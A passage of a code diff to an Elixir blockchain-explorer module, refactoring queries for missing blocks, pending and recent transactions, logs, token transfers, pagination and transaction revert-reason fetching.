max_block_number = BlockNumber.get_max() + def fetch_min_missing_block_cache(from \\ nil, to \\ nil) do + from_block_number = from || 0 + to_block_number = to || BlockNumber.get_max() - min_missing_block_number = - "min_missing_block_number" - |> Chain.get_last_fetched_counter() - |> Decimal.to_integer() - - if max_block_number > 0 do + if to_block_number > 0 do query = from(b in Block, right_join: @@ -2865,19 +1749,18 @@ defmodule Explorer.Chain do (SELECT b1.number FROM generate_series((?)::integer, (?)::integer) AS b1(number) WHERE NOT EXISTS - (SELECT 1 FROM blocks b2 WHERE b2.number=b1.number AND b2.consensus)) + (SELECT 1 FROM blocks b2 WHERE b2.number=b1.number AND b2.consensus AND NOT b2.refetch_needed)) """, - ^min_missing_block_number, - ^max_block_number + ^from_block_number, + ^to_block_number ), on: b.number == missing_range.number, select: min(missing_range.number) ) - query - |> Repo.one(timeout: :infinity) || 0 + Repo.one(query, timeout: :infinity) else - 0 + nil end end @@ -2911,15 +1794,15 @@ defmodule Explorer.Chain do iex> insert(:block, number: 0) iex> insert(:block, number: 2) iex> insert(:block, number: 5) - iex> Explorer.Chain.missing_block_number_ranges(5..0) - [4..3, 1..1] + iex> Explorer.Chain.missing_block_number_ranges(5..0//-1) + [4..3//-1, 1..1] If only non-consensus blocks exist for a number, the number still counts as missing. iex> insert(:block, number: 0) iex> insert(:block, number: 1, consensus: false) iex> insert(:block, number: 2) - iex> Explorer.Chain.missing_block_number_ranges(2..0) + iex> Explorer.Chain.missing_block_number_ranges(2..0//-1) [1..1] if range starts with non-consensus block in the middle of the chain, it returns missing numbers. @@ -2941,32 +1824,55 @@ defmodule Explorer.Chain do @spec missing_block_number_ranges(Range.t()) :: [Range.t()] def missing_block_number_ranges(range) - def missing_block_number_ranges(range_start..range_end) do + def missing_block_number_ranges(range_start..range_end//_) do range_min = min(range_start, range_end) range_max = max(range_start, range_end) ordered_missing_query = - from(b in Block, - right_join: - missing_range in fragment( - """ - ( - SELECT distinct b1.number - FROM generate_series((?)::integer, (?)::integer) AS b1(number) - WHERE NOT EXISTS - (SELECT 1 FROM blocks b2 WHERE b2.number=b1.number AND b2.consensus) - ORDER BY b1.number DESC - LIMIT 500000 - ) - """, - ^range_min, - ^range_max - ), - on: b.number == missing_range.number, - select: missing_range.number, - order_by: missing_range.number, - distinct: missing_range.number - ) + if Application.get_env(:explorer, :chain_type) == :filecoin do + from(b in Block, + right_join: + missing_range in fragment( + """ + ( + SELECT distinct b1.number + FROM generate_series((?)::integer, (?)::integer) AS b1(number) + WHERE NOT EXISTS + (SELECT 1 FROM blocks b2 WHERE b2.number=b1.number AND b2.consensus AND NOT b2.refetch_needed) + AND NOT EXISTS (SELECT 1 FROM null_round_heights nrh where nrh.height=b1.number) + ORDER BY b1.number DESC + ) + """, + ^range_min, + ^range_max + ), + on: b.number == missing_range.number, + select: missing_range.number, + order_by: missing_range.number, + distinct: missing_range.number + ) + else + from(b in Block, + right_join: + missing_range in fragment( + """ + ( + SELECT distinct b1.number + FROM generate_series((?)::integer, (?)::integer) AS b1(number) + WHERE NOT EXISTS + (SELECT 1 FROM blocks b2 WHERE b2.number=b1.number AND b2.consensus AND NOT b2.refetch_needed) + ORDER BY b1.number DESC + ) + """, + ^range_min, + ^range_max + ), + on: b.number == missing_range.number, + select: missing_range.number, + order_by: missing_range.number, + distinct: missing_range.number + ) + end missing_blocks = Repo.all(ordered_missing_query, timeout: :infinity) @@ -2996,27 +1902,27 @@ defmodule Explorer.Chain do ordered_block_ranges = final_block_ranges |> Enum.sort(fn %Range{first: first1, last: _}, %Range{first: first2, last: _} -> - if range_start <= range_end do - first1 <= first2 - else - first1 >= first2 - end + if range_start <= range_end, do: first1 <= first2, else: first1 >= first2 end) |> Enum.map(fn %Range{first: first, last: last} = range -> if range_start <= range_end do range else - if last > first do - %Range{first: last, last: first, step: -1} - else - %Range{first: last, last: first, step: 1} - end + set_new_range(last, first) end end) ordered_block_ranges end + defp set_new_range(last, first) do + if last > first, do: set_range(last, first, -1), else: set_range(last, first, 1) + end + + defp set_range(last, first, step) do + %Range{first: last, last: first, step: step} + end + defp block_ranges_extend(block_ranges, block_range_start, block_range_end) do # credo:disable-for-next-line block_ranges ++ [Range.new(block_range_start, block_range_end)] @@ -3032,7 +1938,7 @@ defmodule Explorer.Chain do `t:Explorer.Chain.Block.t/0` will not be included in the page `entries`. """ - @spec number_to_block(Block.block_number(), [necessity_by_association_option]) :: + @spec number_to_block(Block.block_number(), [necessity_by_association_option | api?]) :: {:ok, Block.t()} | {:error, :not_found} def number_to_block(number, options \\ []) when is_list(options) do necessity_by_association = Keyword.get(options, :necessity_by_association, %{}) @@ -3040,82 +1946,28 @@ defmodule Explorer.Chain do Block |> where(consensus: true, number: ^number) |> join_associations(necessity_by_association) - |> Repo.one() + |> select_repo(options).one() |> case do nil -> {:error, :not_found} block -> {:ok, block} end end - @spec timestamp_to_block_number(DateTime.t(), :before | :after, boolean()) :: - {:ok, Block.block_number()} | {:error, :not_found} - def timestamp_to_block_number(given_timestamp, closest, from_api) do - {:ok, t} = Timex.format(given_timestamp, "%Y-%m-%d %H:%M:%S", :strftime) + @spec nonconsensus_block_by_number(Block.block_number(), [api?]) :: {:ok, Block.t()} | {:error, :not_found} + def nonconsensus_block_by_number(number, options) do + Block + |> where(consensus: false, number: ^number) + |> select_repo(options).one() + |> case do + nil -> {:error, :not_found} + block -> {:ok, block} + end + end - inner_query = - from( - block in Block, - where: block.consensus == true, - where: - fragment("? <= TO_TIMESTAMP(?, 'YYYY-MM-DD HH24:MI:SS') + (1 * interval '1 minute')", block.timestamp, ^t), - where: - fragment("? >= TO_TIMESTAMP(?, 'YYYY-MM-DD HH24:MI:SS') - (1 * interval '1 minute')", block.timestamp, ^t) - ) + @doc """ + Count of pending `t:Explorer.Chain.Transaction.t/0`. - query = - from( - block in subquery(inner_query), - select: block, - order_by: - fragment("abs(extract(epoch from (? - TO_TIMESTAMP(?, 'YYYY-MM-DD HH24:MI:SS'))))", block.timestamp, ^t), - limit: 1 - ) - - response = - if from_api do - query - |> Repo.replica().one() - else - query - |> Repo.one() - end - - response - |> case do - nil -> - {:error, :not_found} - - %{:number => number, :timestamp => timestamp} -> - block_number = get_block_number_based_on_closest(closest, timestamp, given_timestamp, number) - - {:ok, block_number} - end - end - - defp get_block_number_based_on_closest(closest, timestamp, given_timestamp, number) do - case closest do - :before -> - if DateTime.compare(timestamp, given_timestamp) == :lt || - DateTime.compare(timestamp, given_timestamp) == :eq do - number - else - number - 1 - end - - :after -> - if DateTime.compare(timestamp, given_timestamp) == :lt || - DateTime.compare(timestamp, given_timestamp) == :eq do - number + 1 - else - number - end - end - end - - @doc """ - Count of pending `t:Explorer.Chain.Transaction.t/0`. - - A count of all pending transactions. + A count of all pending transactions. iex> insert(:transaction) iex> :transaction |> insert() |> with_block() @@ -3137,7 +1989,7 @@ defmodule Explorer.Chain do iex> newest_first_transactions = 50 |> insert_list(:transaction) |> with_block() |> Enum.reverse() iex> oldest_seen = Enum.at(newest_first_transactions, 9) iex> paging_options = %Explorer.PagingOptions{page_size: 10, key: {oldest_seen.block_number, oldest_seen.index}} - iex> recent_collated_transactions = Explorer.Chain.recent_collated_transactions(paging_options: paging_options) + iex> recent_collated_transactions = Explorer.Chain.recent_collated_transactions(true, paging_options: paging_options) iex> length(recent_collated_transactions) 10 iex> hd(recent_collated_transactions).hash == Enum.at(newest_first_transactions, 10).hash @@ -3153,26 +2005,24 @@ defmodule Explorer.Chain do the `block_number` and `index` that are passed. """ - @spec recent_collated_transactions([paging_options | necessity_by_association_option]) :: [Transaction.t()] - def recent_collated_transactions(options \\ []) when is_list(options) do + @spec recent_collated_transactions(true | false, [paging_options | necessity_by_association_option | api?]) :: [ + Transaction.t() + ] + def recent_collated_transactions(old_ui?, options \\ []) + when is_list(options) do necessity_by_association = Keyword.get(options, :necessity_by_association, %{}) paging_options = Keyword.get(options, :paging_options, @default_paging_options) - - if is_nil(paging_options.key) do - paging_options.page_size - |> Transactions.take_enough() - |> case do - nil -> - transactions = fetch_recent_collated_transactions(paging_options, necessity_by_association) - Transactions.update(transactions) - transactions - - transactions -> - transactions - end - else - fetch_recent_collated_transactions(paging_options, necessity_by_association) - end + method_id_filter = Keyword.get(options, :method) + type_filter = Keyword.get(options, :type) + + fetch_recent_collated_transactions( + old_ui?, + paging_options, + necessity_by_association, + method_id_filter, + type_filter, + options + ) end # RAP - random access pagination @@ -3190,7 +2040,7 @@ defmodule Explorer.Chain do if is_nil(paging_options.key) or paging_options.page_number == 1 do paging_options.page_size |> Kernel.+(1) - |> Transactions.take_enough() + |> Transactions.atomic_take_enough() |> case do nil -> transactions = fetch_recent_collated_transactions_for_rap(paging_options, necessity_by_association) @@ -3230,13 +2080,29 @@ defmodule Explorer.Chain do |> Repo.aggregate(:count, :hash) end - def fetch_recent_collated_transactions(paging_options, necessity_by_association) do - paging_options - |> fetch_transactions() - |> where([transaction], not is_nil(transaction.block_number) and not is_nil(transaction.index)) - |> join_associations(necessity_by_association) - |> preload([{:token_transfers, [:token, :from_address, :to_address]}]) - |> Repo.all() + def fetch_recent_collated_transactions( + old_ui?, + paging_options, + necessity_by_association, + method_id_filter, + type_filter, + options + ) do + case paging_options do + %PagingOptions{key: {0, 0}, is_index_in_asc_order: false} -> + [] + + _ -> + paging_options + |> Transaction.fetch_transactions() + |> where([transaction], not is_nil(transaction.block_number) and not is_nil(transaction.index)) + |> apply_filter_by_method_id_to_transactions(method_id_filter) + |> apply_filter_by_type_to_transactions(type_filter) + |> join_associations(necessity_by_association) + |> Transaction.put_has_token_transfers_to_transaction(old_ui?) + |> (&if(old_ui?, do: preload(&1, [{:token_transfers, [:token, :from_address, :to_address]}]), else: &1)).() + |> select_repo(options).all() + end end @doc """ @@ -3263,34 +2129,46 @@ defmodule Explorer.Chain do Results will be the transactions older than the `inserted_at` and `hash` that are passed. """ - @spec recent_pending_transactions([paging_options | necessity_by_association_option]) :: [Transaction.t()] - def recent_pending_transactions(options \\ []) when is_list(options) do + @spec recent_pending_transactions([paging_options | necessity_by_association_option], true | false) :: [ + Transaction.t() + ] + def recent_pending_transactions(options \\ [], old_ui? \\ true) + when is_list(options) do necessity_by_association = Keyword.get(options, :necessity_by_association, %{}) paging_options = Keyword.get(options, :paging_options, @default_paging_options) + method_id_filter = Keyword.get(options, :method) + type_filter = Keyword.get(options, :type) Transaction - |> page_pending_transaction(paging_options) + |> Transaction.page_pending_transaction(paging_options) |> limit(^paging_options.page_size) |> pending_transactions_query() - |> order_by([transaction], desc: transaction.inserted_at, desc: transaction.hash) + |> apply_filter_by_method_id_to_transactions(method_id_filter) + |> apply_filter_by_type_to_transactions(type_filter) + |> order_by([transaction], desc: transaction.inserted_at, asc: transaction.hash) |> join_associations(necessity_by_association) - |> preload([{:token_transfers, [:token, :from_address, :to_address]}]) - |> Repo.all() + |> (&if(old_ui?, do: preload(&1, [{:token_transfers, [:token, :from_address, :to_address]}]), else: &1)).() + |> select_repo(options).all() end + @doc """ + Query to return all pending transactions + """ + @spec pending_transactions_query(Ecto.Queryable.t()) :: Ecto.Queryable.t() def pending_transactions_query(query) do from(transaction in query, where: is_nil(transaction.block_hash) and (is_nil(transaction.error) or transaction.error != "dropped/replaced") ) end + @doc """ + Returns pending transactions list from the DB + """ + @spec pending_transactions_list() :: Ecto.Schema.t() | term() def pending_transactions_list do - query = - from(transaction in Transaction, - where: is_nil(transaction.block_hash) and (is_nil(transaction.error) or transaction.error != "dropped/replaced") - ) - - query + Transaction + |> pending_transactions_query() + |> where([t], t.inserted_at < ago(1, "day")) |> Repo.all(timeout: :infinity) end @@ -3333,37 +2211,18 @@ defmodule Explorer.Chain do def string_to_address_hash(_), do: :error - @doc """ - The `string` must start with `0x`, then is converted to an integer and then to `t:Explorer.Chain.Hash.t/0`. - - iex> Explorer.Chain.string_to_block_hash( - ...> "0x9fc76417374aa880d4449a1f7f31ec597f00b1f6f3dd2d66f4c9c6c445836d8b" - ...> ) - { - :ok, - %Explorer.Chain.Hash{ - byte_count: 32, - bytes: <<0x9fc76417374aa880d4449a1f7f31ec597f00b1f6f3dd2d66f4c9c6c445836d8b :: big-integer-size(32)-unit(8)>> - } - } - - `String.t` format must always have 64 hexadecimal digits after the `0x` base prefix. - - iex> Explorer.Chain.string_to_block_hash("0x0") - :error - - """ - @spec string_to_block_hash(String.t()) :: {:ok, Hash.t()} | :error - def string_to_block_hash(string) when is_binary(string) do - Hash.Full.cast(string) + @spec string_to_address_hash_or_nil(String.t()) :: Hash.Address.t() | nil + def string_to_address_hash_or_nil(string) do + case string_to_address_hash(string) do + {:ok, hash} -> hash + :error -> nil + end end - def string_to_block_hash(_), do: :error - @doc """ The `string` must start with `0x`, then is converted to an integer and then to `t:Explorer.Chain.Hash.t/0`. - iex> Explorer.Chain.string_to_transaction_hash( + iex> Explorer.Chain.string_to_full_hash( ...> "0x9fc76417374aa880d4449a1f7f31ec597f00b1f6f3dd2d66f4c9c6c445836d8b" ...> ) { @@ -3376,67 +2235,33 @@ defmodule Explorer.Chain do `String.t` format must always have 64 hexadecimal digits after the `0x` base prefix. - iex> Explorer.Chain.string_to_transaction_hash("0x0") + iex> Explorer.Chain.string_to_full_hash("0x0") :error """ - @spec string_to_transaction_hash(String.t()) :: {:ok, Hash.t()} | :error - def string_to_transaction_hash(string) when is_binary(string) do + @spec string_to_full_hash(String.t()) :: {:ok, Hash.t()} | :error + def string_to_full_hash(string) when is_binary(string) do Hash.Full.cast(string) end - def string_to_transaction_hash(_), do: :error + def string_to_full_hash(_), do: :error @doc """ - `t:Explorer.Chain.InternalTransaction/0`s in `t:Explorer.Chain.Transaction.t/0` with `hash`. + Constructs the base query `Ecto.Query.t()/0` to create requests to the transaction logs - ## Options + ## Returns - * `:necessity_by_association` - use to load `t:association/0` as `:required` or `:optional`. If an association is - `:required`, and the `t:Explorer.Chain.InternalTransaction.t/0` has no associated record for that association, - then the `t:Explorer.Chain.InternalTransaction.t/0` will not be included in the list. - * `:paging_options` - a `t:Explorer.PagingOptions.t/0` used to specify the `:page_size` and - `:key` (a tuple of the lowest/oldest `{index}`). Results will be the internal transactions older than - the `index` that is passed. + * The query to the Log table with the joined associated transactions. """ - - @spec all_transaction_to_internal_transactions(Hash.Full.t(), [paging_options | necessity_by_association_option]) :: [ - InternalTransaction.t() - ] - def all_transaction_to_internal_transactions(hash, options \\ []) when is_list(options) do - necessity_by_association = Keyword.get(options, :necessity_by_association, %{}) - paging_options = Keyword.get(options, :paging_options, @default_paging_options) - - InternalTransaction - |> for_parent_transaction(hash) - |> join_associations(necessity_by_association) - |> InternalTransaction.where_nonpending_block() - |> page_internal_transaction(paging_options) - |> limit(^paging_options.page_size) - |> order_by([internal_transaction], asc: internal_transaction.index) - |> preload(:transaction) - |> Repo.all() - end - - @spec transaction_to_internal_transactions(Hash.Full.t(), [paging_options | necessity_by_association_option]) :: [ - InternalTransaction.t() - ] - def transaction_to_internal_transactions(hash, options \\ []) when is_list(options) do - necessity_by_association = Keyword.get(options, :necessity_by_association, %{}) - paging_options = Keyword.get(options, :paging_options, @default_paging_options) - - InternalTransaction - |> for_parent_transaction(hash) - |> join_associations(necessity_by_association) - |> where_transaction_has_multiple_internal_transactions() - |> InternalTransaction.where_is_different_from_parent_transaction() - |> InternalTransaction.where_nonpending_block() - |> page_internal_transaction(paging_options) - |> limit(^paging_options.page_size) - |> order_by([internal_transaction], asc: internal_transaction.index) - |> preload(:transaction) - |> Repo.all() + @spec log_with_transactions_query() :: Ecto.Query.t() + def log_with_transactions_query do + from(log in Log, + inner_join: transaction in Transaction, + on: + transaction.block_hash == log.block_hash and transaction.block_number == log.block_number and + transaction.hash == log.transaction_hash + ) end @doc """ @@ -3452,34 +2277,18 @@ defmodule Explorer.Chain do the `index` that are passed. """ - @spec transaction_to_logs(Hash.Full.t(), boolean(), [paging_options | necessity_by_association_option]) :: [Log.t()] - def transaction_to_logs(transaction_hash, from_api, options \\ []) when is_list(options) do + @spec transaction_to_logs(Hash.Full.t(), [paging_options | necessity_by_association_option | api?]) :: [Log.t()] + def transaction_to_logs(transaction_hash, options \\ []) when is_list(options) do necessity_by_association = Keyword.get(options, :necessity_by_association, %{}) paging_options = Keyword.get(options, :paging_options, @default_paging_options) - log_with_transactions = - from(log in Log, - inner_join: transaction in Transaction, - on: - transaction.block_hash == log.block_hash and transaction.block_number == log.block_number and - transaction.hash == log.transaction_hash - ) - - query = - log_with_transactions - |> where([_, transaction], transaction.hash == ^transaction_hash) - |> page_logs(paging_options) - |> limit(^paging_options.page_size) - |> order_by([log], asc: log.index) - |> join_associations(necessity_by_association) - - if from_api do - query - |> Repo.replica().all() - else - query - |> Repo.all() - end + log_with_transactions_query() + |> where([_, transaction], transaction.hash == ^transaction_hash) + |> page_transaction_logs(paging_options) + |> limit(^paging_options.page_size) + |> order_by([log], asc: log.index) + |> join_associations(necessity_by_association) + |> select_repo(options).all() end @doc """ @@ -3495,25 +2304,37 @@ defmodule Explorer.Chain do the `index` that are passed. """ - @spec transaction_to_token_transfers(Hash.Full.t(), [paging_options | necessity_by_association_option]) :: [ + @spec transaction_to_token_transfers(Hash.Full.t(), [paging_options | necessity_by_association_option | api?()]) :: [ TokenTransfer.t() ] def transaction_to_token_transfers(transaction_hash, options \\ []) when is_list(options) do necessity_by_association = Keyword.get(options, :necessity_by_association, %{}) paging_options = options |> Keyword.get(:paging_options, @default_paging_options) |> Map.put(:asc_order, true) - TokenTransfer - |> join(:inner, [token_transfer], transaction in assoc(token_transfer, :transaction)) - |> where( - [token_transfer, transaction], - transaction.hash == ^transaction_hash and token_transfer.block_hash == transaction.block_hash and - token_transfer.block_number == transaction.block_number - ) - |> TokenTransfer.page_token_transfer(paging_options) - |> limit(^paging_options.page_size) - |> order_by([token_transfer], asc: token_transfer.log_index) - |> join_associations(necessity_by_association) - |> Repo.all() + case paging_options do + %PagingOptions{key: {0, 0}} -> + [] + + _ -> + token_type = Keyword.get(options, :token_type) + + TokenTransfer + |> join(:inner, [token_transfer], transaction in assoc(token_transfer, :transaction)) + |> where( + [token_transfer, transaction], + transaction.hash == ^transaction_hash and token_transfer.block_hash == transaction.block_hash and + token_transfer.block_number == transaction.block_number + ) + |> join(:inner, [tt], token in assoc(tt, :token), as: :token) + |> preload([token: token], [{:token, token}]) + |> TokenTransfer.filter_by_type(token_type) + |> ExplorerHelper.maybe_hide_scam_addresses(:token_contract_address_hash, options) + |> TokenTransfer.page_token_transfer(paging_options) + |> limit(^paging_options.page_size) + |> order_by([token_transfer], asc: token_transfer.log_index) + |> join_associations(necessity_by_association) + |> select_repo(options).all() + end end @doc """ @@ -3552,38 +2373,66 @@ defmodule Explorer.Chain do %Transaction{revert_reason: revert_reason} = transaction if revert_reason == nil do - fetch_tx_revert_reason(transaction) + fetch_transaction_revert_reason(transaction) else revert_reason end end - def fetch_tx_revert_reason( - %Transaction{ - block_number: block_number, - to_address_hash: to_address_hash, - from_address_hash: from_address_hash, - input: data, - gas: gas, - gas_price: gas_price, - value: value - } = transaction - ) do + def fetch_transaction_revert_reason(transaction) do json_rpc_named_arguments = Application.get_env(:explorer, :json_rpc_named_arguments) - gas_hex = - if gas do - gas_hex_without_prefix = - gas - |> Decimal.to_integer() - |> Integer.to_string(16) - |> String.downcase() + hash_string = to_string(transaction.hash) - "0x" <> gas_hex_without_prefix - else - "0x0" + response = + fetch_first_trace( + [ + %{ + block_hash: transaction.block_hash, + block_number: transaction.block_number, + hash_data: hash_string, + transaction_index: transaction.index + } + ], + json_rpc_named_arguments + ) + + revert_reason = + case response do + {:ok, first_trace_params} -> + first_trace_params |> Enum.at(0) |> Map.get(:output, %Data{bytes: <<>>}) |> to_string() + + {:error, reason} -> + Logger.error(fn -> + ["Error while fetching first trace for transaction: #{hash_string} error reason: ", inspect(reason)] + end) + + fetch_transaction_revert_reason_using_call(transaction) + + :ignore -> + fetch_transaction_revert_reason_using_call(transaction) end + if !is_nil(revert_reason) do + transaction + |> Changeset.change(%{revert_reason: revert_reason}) + |> Repo.update() + end + + revert_reason + end + + defp fetch_transaction_revert_reason_using_call(%Transaction{ + block_number: block_number, + to_address_hash: to_address_hash, + from_address_hash: from_address_hash, + input: data, + gas: gas, + gas_price: gas_price, + value: value + }) do + json_rpc_named_arguments = Application.get_env(:explorer, :json_rpc_named_arguments) + req = EthereumJSONRPCTransaction.eth_call_request( 0, @@ -3591,36 +2440,59 @@ defmodule Explorer.Chain do data, to_address_hash, from_address_hash, - gas_hex, + Wei.hex_format(gas), Wei.hex_format(gas_price), Wei.hex_format(value) ) - revert_reason = - case EthereumJSONRPC.json_rpc(req, json_rpc_named_arguments) do - {:error, %{data: data}} -> - data + case EthereumJSONRPC.json_rpc(req, json_rpc_named_arguments) do + {:error, error} -> + parse_revert_reason_from_error(error) - {:error, %{message: message}} -> - message + _ -> + nil + end + end - _ -> - "" - end + @doc """ + Fetches the raw traces of transaction. + """ + @spec fetch_transaction_raw_traces(map()) :: {:ok, [map()]} | {:error, any()} + def fetch_transaction_raw_traces(%{hash: hash, block_number: block_number}) do + json_rpc_named_arguments = Application.get_env(:explorer, :json_rpc_named_arguments) - formatted_revert_reason = - revert_reason |> format_revert_reason_message() |> (&if(String.valid?(&1), do: &1, else: revert_reason)).() + EthereumJSONRPC.fetch_transaction_raw_traces( + %{hash: to_string(hash), block_number: block_number}, + json_rpc_named_arguments + ) + end - if byte_size(formatted_revert_reason) > 0 do - transaction - |> Changeset.change(%{revert_reason: formatted_revert_reason}) - |> Repo.update() - end + @doc """ + Parses the revert reason from an error returned by JSON RPC node during eth_call. + Returns the formatted revert reason as a hex or utf8 string. + Returns `nil` if the revert reason cannot be parsed or error format is unknown. + """ + @spec parse_revert_reason_from_error(any()) :: String.t() | nil + def parse_revert_reason_from_error(%{data: data}), do: format_revert_data(data) + + def parse_revert_reason_from_error(%{message: message}), do: format_revert_reason_message(message) - formatted_revert_reason + def parse_revert_reason_from_error(_), do: nil + + defp format_revert_data(revert_data) do + case revert_data do + "revert" -> + "" + + "0x" <> _ -> + revert_data + + _ -> + nil + end end - def format_revert_reason_message(revert_reason) do + defp format_revert_reason_message(revert_reason) do case revert_reason do @revert_msg_prefix_1 <> rest -> rest @@ -3629,41 +2501,19 @@ defmodule Explorer.Chain do rest @revert_msg_prefix_3 <> rest -> - extract_revert_reason_message_wrapper(rest) + rest @revert_msg_prefix_4 <> rest -> - extract_revert_reason_message_wrapper(rest) + rest @revert_msg_prefix_5 <> rest -> - extract_revert_reason_message_wrapper(rest) - - revert_reason_full -> - revert_reason_full - end - end - - defp extract_revert_reason_message_wrapper(revert_reason_message) do - case revert_reason_message do - "0x" <> hex -> - extract_revert_reason_message(hex) - - _ -> - revert_reason_message - end - end - - defp extract_revert_reason_message(hex) do - case hex do - @revert_error_method_id <> msg_with_offset -> - [msg] = - msg_with_offset - |> Base.decode16!(case: :mixed) - |> TypeDecoder.decode_raw([:string]) + rest - msg + @revert_msg_prefix_6_empty -> + "" _ -> - hex + nil end end @@ -3671,61 +2521,57 @@ defmodule Explorer.Chain do The `t:Explorer.Chain.Transaction.t/0` or `t:Explorer.Chain.InternalTransaction.t/0` `value` of the `transaction` in `unit`. """ - @spec value(InternalTransaction.t(), :wei) :: Wei.wei() - @spec value(InternalTransaction.t(), :gwei) :: Wei.gwei() - @spec value(InternalTransaction.t(), :ether) :: Wei.ether() - @spec value(Transaction.t(), :wei) :: Wei.wei() - @spec value(Transaction.t(), :gwei) :: Wei.gwei() - @spec value(Transaction.t(), :ether) :: Wei.ether() + @spec value(InternalTransaction.t() | Transaction.t(), :wei | :gwei | :ether) :: Wei.wei() | Wei.gwei() | Wei.ether() def value(%type{value: value}, unit) when type in [InternalTransaction, Transaction] do Wei.to(value, unit) end - def smart_contract_bytecode(address_hash) do - query = - from( - address in Address, - where: address.hash == ^address_hash, - select: address.contract_code - ) + @doc """ + Retrieves the bytecode of a smart contract. - query - |> Repo.one() + ## Parameters + + - `address_or_hash` (binary() | Hash.Address.t()): The address hash of the smart contract. + - `options` (api?()): keyword to determine target DB (read replica or primary). + + ## Returns + + - `binary()`: The bytecode of the smart contract. + """ + @spec smart_contract_bytecode(binary() | Hash.Address.t(), [api?]) :: binary() + def smart_contract_bytecode(address_hash, options \\ []) do + address_hash + |> Address.address_query() + |> select([address], address.contract_code) + |> select_repo(options).one() |> Data.to_string() end - def smart_contract_creation_tx_bytecode(address_hash) do - creation_tx_query = + def smart_contract_creation_transaction_bytecode(address_hash) do + creation_transaction_query = from( - tx in Transaction, + transaction in Transaction, left_join: a in Address, - on: tx.created_contract_address_hash == a.hash, - where: tx.created_contract_address_hash == ^address_hash, - where: tx.status == ^1, - select: %{init: tx.input, created_contract_code: a.contract_code} + on: transaction.created_contract_address_hash == a.hash, + where: transaction.created_contract_address_hash == ^address_hash, + where: transaction.status == ^1, + select: %{init: transaction.input, created_contract_code: a.contract_code}, + order_by: [desc: transaction.block_number], + limit: ^1 ) - tx_input = - creation_tx_query + transaction_input = + creation_transaction_query |> Repo.one() - if tx_input do - with %{init: input, created_contract_code: created_contract_code} <- tx_input do + if transaction_input do + with %{init: input, created_contract_code: created_contract_code} <- transaction_input do %{init: Data.to_string(input), created_contract_code: Data.to_string(created_contract_code)} end else - creation_int_tx_query = - from( - itx in InternalTransaction, - join: t in assoc(itx, :transaction), - where: itx.created_contract_address_hash == ^address_hash, - where: t.status == ^1, - select: %{init: itx.init, created_contract_code: itx.created_contract_code} - ) - - res = creation_int_tx_query |> Repo.one() - - case res do + case address_hash + |> Address.creation_internal_transaction_query() + |> Repo.one() do %{init: init, created_contract_code: created_contract_code} -> init_str = Data.to_string(init) created_contract_code_str = Data.to_string(created_contract_code) @@ -3738,977 +2584,385 @@ defmodule Explorer.Chain do end @doc """ - Checks if an address is a contract + Fetches contract creation input data from the transaction (not internal transaction). """ - @spec contract_address?(String.t(), non_neg_integer(), Keyword.t()) :: boolean() | :json_rpc_error - def contract_address?(address_hash, block_number, json_rpc_named_arguments \\ []) do - {:ok, binary_hash} = Explorer.Chain.Hash.Address.cast(address_hash) + @spec contract_creation_input_data_from_transaction(String.t()) :: nil | binary() + def contract_creation_input_data_from_transaction(address_hash, options \\ []) do + transaction = + Transaction + |> where([transaction], transaction.created_contract_address_hash == ^address_hash) + |> select_repo(options).one() - query = - from( - address in Address, - where: address.hash == ^binary_hash - ) + if transaction && transaction.input do + case Data.dump(transaction.input) do + {:ok, bytes} -> + bytes - address = Repo.one(query) + _ -> + nil + end + end + end - cond do - is_nil(address) -> - block_quantity = integer_to_quantity(block_number) + defp fetch_transactions_in_ascending_order_by_index(paging_options) do + Transaction + |> order_by([transaction], asc: transaction.index) + |> handle_block_paging_options(paging_options) + end - case EthereumJSONRPC.fetch_codes( - [%{block_quantity: block_quantity, address: address_hash}], - json_rpc_named_arguments - ) do - {:ok, %EthereumJSONRPC.FetchedCodes{params_list: fetched_codes}} -> - result = List.first(fetched_codes) + defp fetch_transactions_in_descending_order_by_block_and_index(paging_options) do + Transaction + |> order_by([transaction], desc: transaction.block_number, asc: transaction.index) + |> handle_block_paging_options(paging_options) + end - result && !(is_nil(result[:code]) || result[:code] == "" || result[:code] == "0x") + defp handle_block_paging_options(query, nil), do: query - _ -> - :json_rpc_error - end + defp handle_block_paging_options(query, %PagingOptions{key: nil, page_size: nil}), do: query - is_nil(address.contract_code) -> - false + defp handle_block_paging_options(query, paging_options) do + case paging_options do + %PagingOptions{key: {_block_number, 0}, is_index_in_asc_order: false} -> + [] - true -> - true + _ -> + query + |> page_block_transactions(paging_options) + |> limit(^paging_options.page_size) end end - @doc """ - Fetches contract creation input data. - """ - @spec contract_creation_input_data(String.t()) :: nil | String.t() - def contract_creation_input_data(address_hash) do - query = - from( - address in Address, - where: address.hash == ^address_hash, - preload: [:contracts_creation_internal_transaction, :contracts_creation_transaction] - ) + defp handle_withdrawals_paging_options(query, nil), do: query + + defp handle_withdrawals_paging_options(query, paging_options) do + query + |> Withdrawal.page_withdrawals(paging_options) + |> limit(^paging_options.page_size) + end - contract_address = Repo.one(query) + defp handle_random_access_paging_options(query, empty_options) when empty_options in [nil, [], %{}], + do: limit(query, ^(@default_page_size + 1)) - contract_creation_input_data_from_address(contract_address) + defp handle_random_access_paging_options(query, paging_options) do + query + |> (&if(paging_options |> Map.get(:page_number, 1) |> process_page_number() == 1, + do: &1, + else: Transaction.page_transaction(&1, paging_options) + )).() + |> handle_page(paging_options) end - # credo:disable-for-next-line /Complexity/ - defp contract_creation_input_data_from_address(address) do - internal_transaction = address && address.contracts_creation_internal_transaction - transaction = address && address.contracts_creation_transaction + defp handle_page(query, paging_options) do + page_number = paging_options |> Map.get(:page_number, 1) |> process_page_number() + page_size = Map.get(paging_options, :page_size, @default_page_size) cond do - is_nil(address) -> - "" - - internal_transaction && internal_transaction.input -> - Data.to_string(internal_transaction.input) + page_in_bounds?(page_number, page_size) && page_number == 1 -> + query + |> limit(^(page_size + 1)) - internal_transaction && internal_transaction.init -> - Data.to_string(internal_transaction.init) - - transaction && transaction.input -> - Data.to_string(transaction.input) - - is_nil(transaction) && is_nil(internal_transaction) && - not is_nil(address.contract_code) -> - %Explorer.Chain.Data{bytes: bytes} = address.contract_code - Base.encode16(bytes, case: :lower) + page_in_bounds?(page_number, page_size) -> + query + |> limit(^page_size) + |> offset(^((page_number - 2) * page_size)) true -> - "" + query + |> limit(^(@default_page_size + 1)) end end - @doc """ - Inserts a `t:SmartContract.t/0`. - - As part of inserting a new smart contract, an additional record is inserted for - naming the address for reference. - """ - @spec create_smart_contract(map()) :: {:ok, SmartContract.t()} | {:error, Ecto.Changeset.t()} - def create_smart_contract(attrs \\ %{}, external_libraries \\ [], secondary_sources \\ []) do - 